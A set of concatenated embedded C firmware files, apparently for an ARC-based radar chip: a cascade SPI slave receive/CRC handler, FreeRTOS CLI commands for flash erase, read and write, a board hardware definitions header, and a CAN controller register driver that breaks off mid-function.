new_rx_thres = 0;
rx_thres_update = 1;
} else {
if (new_rx_thres > xfer->devbuf.len - xfer->devbuf.ofs) {
new_rx_thres = xfer->devbuf.len - xfer->devbuf.ofs - 1;
rx_thres_update = 1;
}
}
if (rx_thres_update) {
result = spi_fifo_threshold_update(cs_if_slave_id, new_rx_thres, 0);
if (E_OK != result) {
break;
}
}
//chip_hw_udelay(50);
result = cascade_spi_s2m_sync();
break;
}
/* the xfer process enter receiving current frame payload crc32.
* if the previous crc32 still valid. then the process has been
* blocked, change the xfer manager state to WAITING CRC. otherwise
* read crc32, and start computing the current frame payload crc32. */
if (!frame->crc_done) {
if (frame->crc_valid) {
/* previous frame still valid? */
xfer->state = CS_XFER_CRC;
result = spi_interrupt_enable(cs_if_slave_id, 0, 0);
break;
}
result = spi_read(cs_if_slave_id, &frame->crc32, 1);
if (result < 0) {
break;
}
frame->crc_done = 1;
frame->crc_valid = 1;
/*
result = cascade_spi_s2m_sync();
if (E_OK != result) {
break;
}
*/
/* start crc computing action. */
#ifdef CASCADE_DMA
result = cascade_crc_dmacopy(frame->payload, frame->len);
if (E_OK != result) {
break;
}
#else
cascade_crc_request(frame->payload, frame->len);
#endif
}
/* check whether there is a next frame needing to receive. if yes,
* re-initialize frame descriptor. if the current frame is the last
* one, then the entire receiving process has been finished. */
if (xfer->cur_frame_id >= xfer->nof_frame - 1) {
/*
cascade_rx_next_frame_init(xfer);
} else {
*/
if (0 == frame->crc_valid) {
//EMBARC_PRINTF("package done before crc done\r\n");
cascade_rx_indication(xfer);
cascade_package_done(xfer);
result = spi_databuffer_uninstall(cs_if_slave_id, 0);
if (E_OK != result) {
}
}
} else {
//EMBARC_PRINTF("next frame start:\r\n");
cascade_frame_reset(frame);
//chip_hw_udelay(50);
result = cascade_spi_s2m_sync();
if (E_OK != result) {
}
}
} while (0);
}
void cascade_if_slave_rx_crc_done(cs_xfer_mng_t *xfer, uint32_t crc32)
{
int32_t result = E_OK;
cs_frame_t *frame = &xfer->cur_frame;
while (xfer) {
if (0 == frame->crc_valid) {
/* what happened? */
break;
}
xfer->crc_done_cnt += 1;
/* compare the crc32. */
if (crc32 != frame->crc32) {
xfer->crc_unmatch_cnt += 1;
}
frame->crc_valid = 0;
#ifdef CASCADE_DMA
result = dma_release_channel(xfer->crc_dma_chn_id);
if (E_OK != result) {
break;
}
#endif
/* session has been blocked. */
if (CS_XFER_CRC == xfer->state) {
xfer->state = CS_XFER_BUSY;
result = spi_interrupt_enable(cs_if_slave_id, 0, 1);
} else {
/* whether is the last frame? */
//if (xfer->cur_frame_id >= xfer->nof_frame - 1) {
if (xfer->crc_done_cnt >= xfer->nof_frame) {
//EMBARC_PRINTF("package done after crc done\r\n");
cascade_rx_indication(xfer);
cascade_package_done(xfer);
result = spi_databuffer_uninstall(cs_if_slave_id, 0);
if (E_OK != result) {
}
}
}
break;
}
}
void cascade_if_slave_tx_crc_done(cs_xfer_mng_t *xfer, uint32_t crc32)
{
int32_t result = E_OK;
cs_frame_t *frame = &xfer->cur_frame;
do {
frame->crc32 = crc32;
frame->crc_valid = 1;
#ifdef CASCADE_DMA
result = dma_release_channel(xfer->crc_dma_chn_id);
if (E_OK != result) {
break;
}
#endif
if (CS_XFER_CRC == xfer->state) {
/* has been blocked. */
xfer->state = CS_XFER_BUSY;
//frame->crc_valid = 0;
result = spi_interrupt_enable(cs_if_slave_id, 1, 1);
if (E_OK != result) {
break;
}
//} else {
// EMBARC_PRINTF("next frame start1:\r\n");
}
} while (0);
}
<file_sep>#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "embARC_toolchain.h"
#include "embARC.h"
#include "embARC_error.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "board.h"
#include "dw_ssi.h"
#include "xip_hal.h"
#include "device.h"
#include "instruction.h"
#include "cfi.h"
#include "sfdp.h"
#include "flash.h"
#ifdef OS_FREERTOS
#include "FreeRTOS.h"
#include "task.h"
#include "FreeRTOS_CLI.h"
#define FLASH_TEST_COMMAND (1)
static BaseType_t flash_erase_command_handle(char *pcWriteBuffer, \
size_t xWriteBufferLen, const char *pcCommandString)
{
BaseType_t len1, len2;
uint32_t addr, length;
const char *param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
const char *param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
addr = (uint32_t)strtol(param1, NULL, 0);
length = (uint32_t)strtol(param2, NULL, 0);
EMBARC_PRINTF("addr: 0x%x, length: 0x%x\r\n", addr, length);
flash_memory_erase(addr, length);
return pdFALSE;
}
static const CLI_Command_Definition_t flash_erase_command =
{
"flash_erase",
"\rflash_erase:"
"\r\n\tflash_erase [address] [length(byte)]\r\n\r\n",
flash_erase_command_handle,
-1
};
static BaseType_t flash_read_command_handle(char *pcWriteBuffer, \
size_t xWriteBufferLen, const char *pcCommandString)
{
BaseType_t len1, len2;
uint32_t addr, length;
const char *param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
const char *param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
addr = (uint32_t)strtol(param1, NULL, 0);
length = (uint32_t)strtol(param2, NULL, 0); //number of words
length = length << 2; //number of bytes
//start
int32_t status;
uint8_t buff[512];
status = flash_memory_read(addr, buff, length);
if (status != E_OK) {
snprintf(pcWriteBuffer, xWriteBufferLen - 1, "Fail to read on-flash steering vector info!\n\r");
} else {
uint32_t *tmp = (uint32_t *)buff;
for (int cnt = 0; cnt < (length>>2); cnt++)
EMBARC_PRINTF("addr(Bytes): 0x%x value: 0x%x\r\n", addr+cnt*4, tmp[cnt]);
}
//end
return pdFALSE;
}
static const CLI_Command_Definition_t flash_read_command =
{
"flash_read",
"\rflash_read:"
"\r\n\tflash_read [address] [length(words)]128 words most\r\n\r\n",
flash_read_command_handle,
-1
};
#if FLASH_TEST_COMMAND
static BaseType_t flash_memory_write_command_handle(char *pcWriteBuffer, \
size_t xWriteBufferLen, const char *pcCommandString)
{
BaseType_t len1, len2, len3;
uint32_t addr, data, length;
uint32_t buffer[1024];
const char *param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
const char *param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
const char *param3 = FreeRTOS_CLIGetParameter(pcCommandString, 3, &len3);
addr = (uint32_t)strtol(param1, NULL, 0);
data = (uint32_t)strtol(param2, NULL, 0);
length = (uint32_t)strtol(param3, NULL, 0);
EMBARC_PRINTF("addr: 0x%x, data: 0x%x length: 0x%x\r\n", addr, data, length);
for (uint32_t i = 0; i < length; i++) {
buffer[i] = (i << 16) | data;
}
flash_memory_writew(addr, buffer, length);
return pdFALSE;
}
static const CLI_Command_Definition_t flash_memory_write_command =
{
"flash_memory_write",
"\rflash_memory_write:"
"\r\n\tflash_memory_write [address] [length(words)] most 1024\r\n\r\n",
flash_memory_write_command_handle,
-1
};
static BaseType_t flash_memory_read_command_handle(char *pcWriteBuffer, \
size_t xWriteBufferLen, const char *pcCommandString)
{
BaseType_t len1, len2;
uint32_t addr, length;
uint32_t buffer;
const char *param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
const char *param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
addr = (uint32_t)strtol(param1, NULL, 0);
length = (uint32_t)strtol(param2, NULL, 0);
for (uint32_t i = 0; i < length; i++) {
if ((i == 0) || (i % 4 == 0)) {
EMBARC_PRINTF("%08x", (addr + (i * 4)));
}
flash_memory_readw(addr + i * 4, &buffer, 1);
if ((i+1) % 4 == 0) {
EMBARC_PRINTF("\t %08x \r\n", buffer);
} else {
EMBARC_PRINTF("\t %08x", buffer);
}
}
return pdFALSE;
}
static const CLI_Command_Definition_t flash_memory_read_command =
{
"flash_memory_read",
"\rflash_memory_read:"
"\r\n\tflash_memory_read [address] [length(words)]\r\n\r\n",
flash_memory_read_command_handle,
-1
};
#endif
void flash_cli_register(void)
{
FreeRTOS_CLIRegisterCommand(&flash_erase_command);
FreeRTOS_CLIRegisterCommand(&flash_read_command);
#if FLASH_TEST_COMMAND
FreeRTOS_CLIRegisterCommand(&flash_memory_write_command);
FreeRTOS_CLIRegisterCommand(&flash_memory_read_command);
#endif
}
#endif
<file_sep>/* ------------------------------------------
* Copyright (c) 2017, Synopsys, Inc. All rights reserved.
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1) Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* 2) Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation and/or
* other materials provided with the distribution.
* 3) Neither the name of the Synopsys, Inc., nor the names of its contributors may
* be used to endorse or promote products derived from this software without
* specific prior written permission.
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
--------------------------------------------- */
/**
*
* \file
* \ingroup CHIP_ALPS_COMMON_INIT
* \brief alps hardware resource definitions
*/
/**
* \addtogroup BOARD_ALPS_COMMON_INIT
* @{
*/
#ifndef _ALPS_HARDWARE_H_
#define _ALPS_HARDWARE_H_
#include "arc_feature_config.h"
/** Initial CPU Clock Frequency definition */
#if defined(BOARD_INIT_CPU_FREQ)
#define INIT_CLK_CPU (BOARD_INIT_CPU_FREQ)
#else
#if (FLASH_XIP_EN)
#define INIT_CLK_CPU (300000000U)
#else
#define INIT_CLK_CPU (50000000U)
#endif
#endif
/** Initial Peripheral Bus Reference Clock definition */
#ifdef BOARD_INIT_DEV_FREQ
/*!< Get peripheral bus reference clock defintion from build system */
#define INIT_CLK_BUS_APB (BOARD_INIT_DEV_FREQ)
#else
/*!< Default peripheral bus reference clock defintion */
#if (FLASH_XIP_EN)
#define INIT_CLK_BUS_APB (400000000U)
#else
#define INIT_CLK_BUS_APB (50000000U)
#endif
#endif
/** CPU Clock Frequency definition */
#if defined(BOARD_CPU_FREQ)
/*!< Get cpu clock frequency definition from build system */
#define CLK_CPU (BOARD_CPU_FREQ)
#elif defined(ARC_FEATURE_CPU_CLOCK_FREQ)
/*!< Get cpu clock frequency definition from tcf file */
#define CLK_CPU (ARC_FEATURE_CPU_CLOCK_FREQ)
#else
/*!< Default cpu clock frequency */
#define CLK_CPU (20000000)
#endif
/** Peripheral Bus Reference Clock definition */
#ifdef BOARD_DEV_FREQ
/*!< Get peripheral bus reference clock defintion from build system */
#define CLK_BUS_APB (BOARD_DEV_FREQ)
#else
/*!< Default peripheral bus reference clock defintion */
#define CLK_BUS_APB (50000000U)
#endif
#define ARC_FEATURE_DMP_PERIPHERAL (0x00000000U)
/* Device Register Base Address */
#define REL_REGBASE_PINMUX (0x00000000U) /*!< PINMUX */
#define REL_REGBASE_SPI_MST_CS_CTRL (0x00000014U) /*!< SPI Master Select Ctrl */
#define REL_REGBASE_TIMERS (0x00003000U) /*!< DW TIMER */
#define REL_REGBASE_HDMA (0x00200000)
#define REL_REGBASE_CLKGEN (0x00B20000U)
#define REL_REGBASE_UART0 (0x00B30000U) /*!< UART0 is connected to PMOD */
#define REL_REGBASE_UART1 (0x00B40000U) /*!< UART1 is USB-UART´╝?use UART1 as default */
#define REL_REGBASE_I2C0 (0x00B50000U) /*!< I2C 0 */
#define REL_REGBASE_SPI0 (0x00B60000U) /*!< SPI Master */
#define REL_REGBASE_SPI1 (0x00B70000U) /*!< SPI Master */
#define REL_REGBASE_SPI2 (0x00B80000U) /*!< SPI Slave */
#define REL_REGBASE_QSPI (0x00B90000U) /*!< QSPI Master */
#define REL_REGBASE_GPIO (0x00BA0000U) /*!< GPIO */
#define REL_REGBASE_GPIO0 (0x00BA0000U) /*!< GPIO */
#define REL_REGBASE_CAN0 (0x00BB0000U) /*!< CAN0 */
#define REL_REGBASE_CAN1 (0x00BC0000U) /*!< CAN1 */
#define REL_REGBASE_FLASH (0x00BD0000U) /*!< FLASH mapping */
#define REL_REGBASE_WDT (0x00BE0000U) /*!< WDT */
/* Interrupt Connection */
#define INTNO_TIMER0 16 /*!< ARC Timer0 */
#define INTNO_TIMER1 17 /*!< ARC Timer1 */
#define INTNO_SECURE_TIMER0 20 /*!< Core Secure Timer 0 */
#define INTNO_DMA_START 22 /*!< Core DMA Controller */
#define INTNO_DMA_COMPLETE 22 /*!< Core DMA Controller Complete */
#define INTNO_DMA_ERROR 23 /*!< Core DMA Controller Error */
#define INTNO_BB 20 /*!< Baseband IRQ */
#define INTNO_UART0 21 /*!< UART0 */
#define INTNO_UART1 22 /*!< UART1 */
#define INTNO_I2C0 23 /*!< I2C_0 controller */
#define INTNO_SPI_MASTER 24 /*!< SPI Master controller */
#define INTNO_SPI_MASTER0 24 /*!< SPI Master controller */
#define INTNO_SPI_MASTER1 25 /*!< SPI Master controller */
#define INTNO_SPI_SLAVE 26 /*!< SPI Slave controller */
#define INTNO_QSPI_MASTER 27 /*!< QSPI Master controller */
#define INTNO_CAN0 28 /*!< CAN0 */
#define INTNO_CAN1 29 /*!< CAN1 */
#define INTNO_FSM 30 /*!< Functional Safety */
#define INTNO_GPIO 31 /*!< GPIO controller */
/* SPI Mater Signals Usage */
#define ALPS_SPI_LINE_0 0 /*!< CS0 -- Pmod 6 pin1 */
#define ALPS_SPI_LINE_1 1 /*!< CS1 -- Pmod 5 pin1 or Pmod 6 pin 7 */
#define ALPS_SPI_LINE_2 2 /*!< CS2 -- Pmod 6 pin8 */
#define ALPS_SPI_LINE_SDCARD 3 /*!< CS3 -- On-board SD card */
#define ALPS_SPI_LINE_SPISLAVE 4 /*!< CS4 -- Internal SPI slave */
#define ALPS_SPI_LINE_SFLASH 5 /*!< CS5 -- On-board SPI Flash memory */
#endif /* _ALPS_HARDWARE_H_ */
/** @} end of group BOARD_ALPS_COMMON_INIT */
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "can_reg.h"
#include "can.h"
static inline int32_t can_opmode_config(can_t *can, uint32_t mode);
static uint32_t can_version(can_t *can)
{
uint32_t result = E_OK;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_VERSION_OFFSET + can->base;
result = raw_readl(reg);
}
return result;
}
static int32_t can_dma_enable(can_t *can, uint32_t rx, uint32_t tx)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_MODE_CTRL_OFFSET + can->base;
val = raw_readl(reg);
if (rx) {
val |= BIT_MODE_CTRL_RDENA;
} else {
val &= ~BIT_MODE_CTRL_RDENA;
}
if (tx) {
val |= BIT_MODE_CTRL_TDENA;
} else {
val &= ~BIT_MODE_CTRL_TDENA;
}
raw_writel(reg, val);
}
return result;
}
static int32_t can_ecc_enable(can_t *can, uint32_t en)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_MODE_CTRL_OFFSET + can->base;
result = can_opmode_config(can, CONFIG_MODE);
if (E_OK == result) {
val = raw_readl(reg);
if (en) {
val |= BIT_MODE_CTRL_ECCENA;
} else {
val &= ~BIT_MODE_CTRL_ECCENA;
}
raw_writel(reg, val);
}
result = can_opmode_config(can, NORMAL_MODE);
}
return result;
}
static inline int32_t can_opmode_config(can_t *can, uint32_t mode)
{
int32_t result = E_OK;
uint32_t val = 0;
uint32_t reg = REG_CAN_MODE_CTRL_OFFSET + can->base;
/* enter config mode. */
val = raw_readl(reg);
val |= BIT_MODE_CTRL_CFG;
raw_writel(reg, val);
val &= ~(
BIT_MODE_CTRL_TEST | \
BIT_MODE_CTRL_SLEEP | \
BIT_MODE_CTRL_ROPT | \
BIT_MODE_CTRL_MON | \
BIT_MODE_CTRL_LBACK);
switch (mode) {
case NORMAL_MODE:
break;
case CONFIG_MODE:
val |= BIT_MODE_CTRL_CFG;
break;
case RESTRICTED_MODE:
val |= BIT_MODE_CTRL_ROPT;
break;
case MONITOR_MODE:
val |= BIT_MODE_CTRL_MON;
break;
case SLEEP_MODE:
val |= BIT_MODE_CTRL_SLEEP;
break;
case TEST_MODE:
val |= BIT_MODE_CTRL_TEST;
break;
case LOOP_MODE:
val |= BIT_MODE_CTRL_LBACK;
break;
default:
result = E_PAR;
}
if (mode != CONFIG_MODE) {
raw_writel(reg, val);
/* exit config mode. */
_arc_sync();
val = raw_readl(reg);
val &= ~BIT_MODE_CTRL_CFG;
raw_writel(reg, val);
}
return result;
}
static int32_t can_operation_mode_config(can_t *can, uint32_t mode)
{
int32_t result = E_OK;
if ( (NULL == can) ) {
result = E_PAR;
} else {
result = can_opmode_config(can, mode);
}
return result;
}
static int32_t can_reset(can_t *can, uint32_t reset)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_MODE_CTRL_OFFSET + can->base;
val = raw_readl(reg);
if (reset) {
val |= BIT_MODE_CTRL_RESET;
} else {
val &= ~BIT_MODE_CTRL_RESET;
}
raw_writel(reg, val);
}
return result;
}
static int32_t can_sleep_ack(can_t *can)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_MODE_CTRL_OFFSET + can->base;
val = raw_readl(reg);
result = (val & BIT_MODE_CTRL_SPACK) ? (1) : (0);
}
return result;
}
static int32_t can_test_transmit(can_t *can, uint32_t data)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_MODE_CTRL_OFFSET + can->base;
val = raw_readl(reg);
val &= ~(BITS_MODE_CTRL_TESTRX_MASK << BITS_MODE_CTRL_TESTRX_SHIFT);
val |= (data & BITS_MODE_CTRL_TESTRX_MASK) << BITS_MODE_CTRL_TESTRX_SHIFT;
raw_writel(reg, val);
}
return result;
}
static int32_t can_test_receive(can_t *can)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_MODE_CTRL_OFFSET + can->base;
val = raw_readl(reg);
result = (val | BIT_MODE_CTRL_TESTRX) ? (1) : (0);
}
return result;
}
static int32_t can_protocol_config(can_t *can, can_protocol_cfg_t *protocol_cfg)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) || (NULL == protocol_cfg) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_PROTOCOL_CTRL_OFFSET + can->base;
result = can_opmode_config(can, CONFIG_MODE);
if (E_OK == result) {
val = raw_readl(reg);
if (protocol_cfg->fd_operation) {
val |= BIT_PROTOCOL_CTRL_FDO;
} else {
val &= ~BIT_PROTOCOL_CTRL_FDO;
}
if (protocol_cfg->bit_rate_switch) {
val |= BIT_PROTOCOL_CTRL_BRS;
} else {
val &= ~BIT_PROTOCOL_CTRL_BRS;
}
if (protocol_cfg->tx_delay_compensate) {
val |= BIT_PROTOCOL_CTRL_TDC;
} else {
val &= ~BIT_PROTOCOL_CTRL_TDC;
}
if (protocol_cfg->auto_retransmission) {
val |= BIT_PROTOCOL_CTRL_ART;
} else {
val &= ~BIT_PROTOCOL_CTRL_ART;
}
raw_writel(reg, val);
}
result = can_opmode_config(can, CONFIG_MODE);
}
return result;
}
static int32_t can_timestamp_config(can_t *can, uint32_t prescale, uint32_t mode)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_TIMESTAMP_COUNTER_CFG_OFFSET + can->base;
val |= (BITS_TIMESTAMP_CFG_TSCP_MASK & prescale) << \
BITS_TIMESTAMP_CFG_TSCP_SHIFT;
val |= (BITS_TIMESTAMP_CFG_TSCM_MASK & mode) << \
BITS_TIMESTAMP_CFG_TSCM_SHIFT;
result = can_opmode_config(can, CONFIG_MODE);
if (E_OK == result) {
raw_writel(reg, val);
}
result = can_opmode_config(can, NORMAL_MODE);
}
return result;
}
static uint32_t can_timestamp_counter_value(can_t *can)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_TIMESTAMP_COUNTER_VAL_OFFSET + can->base;
val = raw_readl(reg);
result = val & 0xFFFFU;
}
return result;
}
static int32_t can_baud_rate(can_t *can, uint32_t fd_enabled, can_baud_t *param)
{
int32_t result = E_OK;
if ( (NULL == can) || (NULL == param)) {
result = E_PAR;
} else {
uint32_t val = 0;
uint32_t reg = can->base;
if (fd_enabled) {
reg += REG_CAN_DATA_BIT_TIME_CTRL_OFFSET;
val |= (param->sync_jump_width & BITS_DATA_BIT_TIME_CTRL_DSJW_MASK) << \
BITS_DATA_BIT_TIME_CTRL_DSJW_SHIFT;
val |= (param->bit_rate_prescale & BITS_DATA_BIT_TIME_CTRL_DBRP_MASK) << \
BITS_DATA_BIT_TIME_CTRL_DBRP_SHIFT;
val |= (param->segment1 & BITS_DATA_BIT_TIME_CTRL_DTSEG1_MASK) << \
BITS_DATA_BIT_TIME_CTRL_DTSEG1_SHIFT;
val |= (param->segment2 & BITS_DATA_BIT_TIME_CTRL_DTSEG2_MASK) << \
BITS_DATA_BIT_TIME_CTRL_DTSEG2_SHIFT;
} else {
reg += REG_CAN_NOMINAL_BIT_TIME_CTRL_OFFSET;
val |= (param->sync_jump_width & BITS_NOMINAL_BIT_TIME_CTRL_NSJW_MASK) << \
BITS_NOMINAL_BIT_TIME_CTRL_NSJW_SHIFT;
val |= (param->bit_rate_prescale & BITS_NOMINAL_BIT_TIME_CTRL_NBRP_MASK) << \
BITS_NOMINAL_BIT_TIME_CTRL_NBRP_SHIFT;
val |= (param->segment1 & BITS_NOMINAL_BIT_TIME_CTRL_NTSEG1_MASK) << \
BITS_NOMINAL_BIT_TIME_CTRL_NTSEG1_SHIFT;
val |= (param->segment2 & BITS_NOMINAL_BIT_TIME_CTRL_NTSEG2_MASK) << \
BITS_NOMINAL_BIT_TIME_CTRL_NTSEG2_SHIFT;
}
result = can_opmode_config(can, CONFIG_MODE);
if (E_OK == result) {
raw_writel(reg, val);
}
result = can_opmode_config(can, NORMAL_MODE);
}
return result;
}
static int32_t can_error_counter(can_t *can, uint32_t type)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_ERROR_COUNTER_OFFSET + can->base;
val = raw_readl(reg);
switch (type) {
case ERROR_TYPE_LOGGING:
result = (val >> BITS_ERROR_CTRL_CEL_SHIFT) & \
BITS_ERROR_CTRL_CEL_MASK;
break;
case ERROR_TYPE_RECEIVE:
result = (val >> BITS_ERROR_CTRL_REC_SHIFT) & \
BITS_ERROR_CTRL_REC_MASK;
break;
case ERROR_TYPE_TRANSMIT:
result = (val >> BITS_ERROR_CTRL_TEC_SHIFT) & \
BITS_ERROR_CTRL_TEC_MASK;
break;
default:
result = E_PAR;
}
}
return result;
}
static int32_t can_protocol_status(can_t *can, uint32_t type)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_PROTOCOL_STATUS_OFFSET + can->base;
val = raw_readl(reg);
switch (type) {
case PROTOCOL_STS_ALL:
result = val;
break;
case PROTOCOL_STS_LAST_ERR_CODE:
result = (val >> BITS_PROTOCOL_STATUS_LEC_SHIFT) & \
BITS_PROTOCOL_STATUS_LEC_MASK;
break;
case PROTOCOL_STS_FD_LAST_RX_ESI:
result = (val & BIT_PROTOCOL_STATUS_RESI) ? (1) : (0);
break;
case PROTOCOL_STS_FD_LAST_RX_BRS:
result = (val & BIT_PROTOCOL_STATUS_RBRS) ? (1) : (0);
break;
case PROTOCOL_STS_FD_RX_MESSAGE:
result = (val & BIT_PROTOCOL_STATUS_RFDF) ? (1) : (0);
break;
case PROTOCOL_STS_EXCEPTION_EVENT:
result = (val & BIT_PROTOCOL_STATUS_PXE) ? (1) : (0);
break;
case PROTOCOL_STS_ACTIVE:
result = (val >> BITS_PROTOCOL_STATUS_ACT_SHIFT) & \
BITS_PROTOCOL_STATUS_ACT_MASK;
break;
case PROTOCOL_STS_ERR_PASSIVE:
result = (val & BIT_PROTOCOL_STATUS_EP) ? (1) : (0);
break;
case PROTOCOL_STS_WARNING:
result = (val & BIT_PROTOCOL_STATUS_EW) ? (1) : (0);
break;
case PROTOCOL_STS_BUS_OFF:
result = (val & BIT_PROTOCOL_STATUS_BO) ? (1) : (0);
break;
default:
result = E_PAR;
}
}
return result;
}
static int32_t can_ecc_error_status(can_t *can)
{
int32_t result = E_OK;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_ECC_ERROR_STATUS_OFFSET + can->base;
result = raw_readl(reg);
}
return result;
}
static int32_t can_transmitter_delay_compensation(can_t *can, \
uint32_t value, uint32_t offset, uint32_t win_len)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_TRANSMIT_DELAY_COM_OFFSET + can->base;
//val = raw_readl(reg);
val |= (value & BITS_TRANSMIT_DELAY_COM_TDCV_MASK) << BITS_TRANSMIT_DELAY_COM_TDCV_SHIFT;
val |= (offset & BITS_TRANSMIT_DELAY_COM_TDCO_MASK) << BITS_TRANSMIT_DELAY_COM_TDCO_SHIFT;
val |= (win_len & BITS_TRANSMIT_DELAY_COM_TDCF_MASK) << BITS_TRANSMIT_DELAY_COM_TDCF_SHIFT;
result = can_opmode_config(can, CONFIG_MODE);
if (E_OK == result) {
raw_writel(reg, val);
}
result = can_opmode_config(can, NORMAL_MODE);
}
return result;
}
static int32_t can_timeout_config(can_t *can, uint32_t enable, uint32_t period, uint32_t select)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_TIMEOUT_COUNTER_OFFSET + can->base;
val |= (period & BITS_TIMEOUT_COUNTER_TOP_MASK) << BITS_TIMEOUT_COUNTER_TOP_SHIFT;
val |= (select & BITS_TIMEOUT_COUNTER_TOS_MASK) << BITS_TIMEOUT_COUNTER_TOS_SHIFT;
if (enable) {
val |= BIT_TIMEOUT_COUNTER_TOE;
} else {
val &= ~BIT_TIMEOUT_COUNTER_TOE;
}
raw_writel(reg, val);
}
return result;
}
static int32_t can_interrupt_status(can_t *can, uint32_t mask)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_INTERRUPT_OFFSET + can->base;
val = raw_readl(reg);
result = val & mask;
}
return result;
}
static int32_t can_interrupt_clear(can_t *can, uint32_t mask)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_INTERRUPT_OFFSET + can->base;
val = raw_readl(reg);
val |= mask;
raw_writel(reg, val);
}
return result;
}
static int32_t can_interrupt_enable(can_t *can, uint32_t enable, uint32_t mask)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_INTERRUPT_ENABLE_OFFSET + can->base;
val = raw_readl(reg);
if (enable) {
val |= mask;
} else {
val &= ~mask;
}
raw_writel(reg, val);
}
return result;
}
static int32_t can_interrupt_line_select(can_t *can, uint32_t int_source, uint32_t int_line)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t sel0 = REG_CAN_INTERRUPT_LINE_SELECT0_OFFSET + can->base;
uint32_t sel1 = REG_CAN_INTERRUPT_LINE_SELECT1_OFFSET + can->base;
switch (int_source) {
case CAN_INT_TIMEOUT_OCCURED:
val = raw_readl(sel0);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_TOOLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_TOOLS_SHIFT;
raw_writel(sel0, val);
break;
case CAN_INT_ACCESS_PROTECT_REG:
val = raw_readl(sel0);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_APRLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_APRLS_SHIFT;
raw_writel(sel0, val);
break;
case CAN_INT_PROTOCOL_ERR:
val = raw_readl(sel0);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_PEDLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_PEDLS_SHIFT;
raw_writel(sel0, val);
break;
case CAN_INT_BUS_OFF:
val = raw_readl(sel0);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_BOLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_BOLS_SHIFT;
raw_writel(sel0, val);
break;
case CAN_INT_WARNING:
val = raw_readl(sel0);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_EWLS_MASK) << \
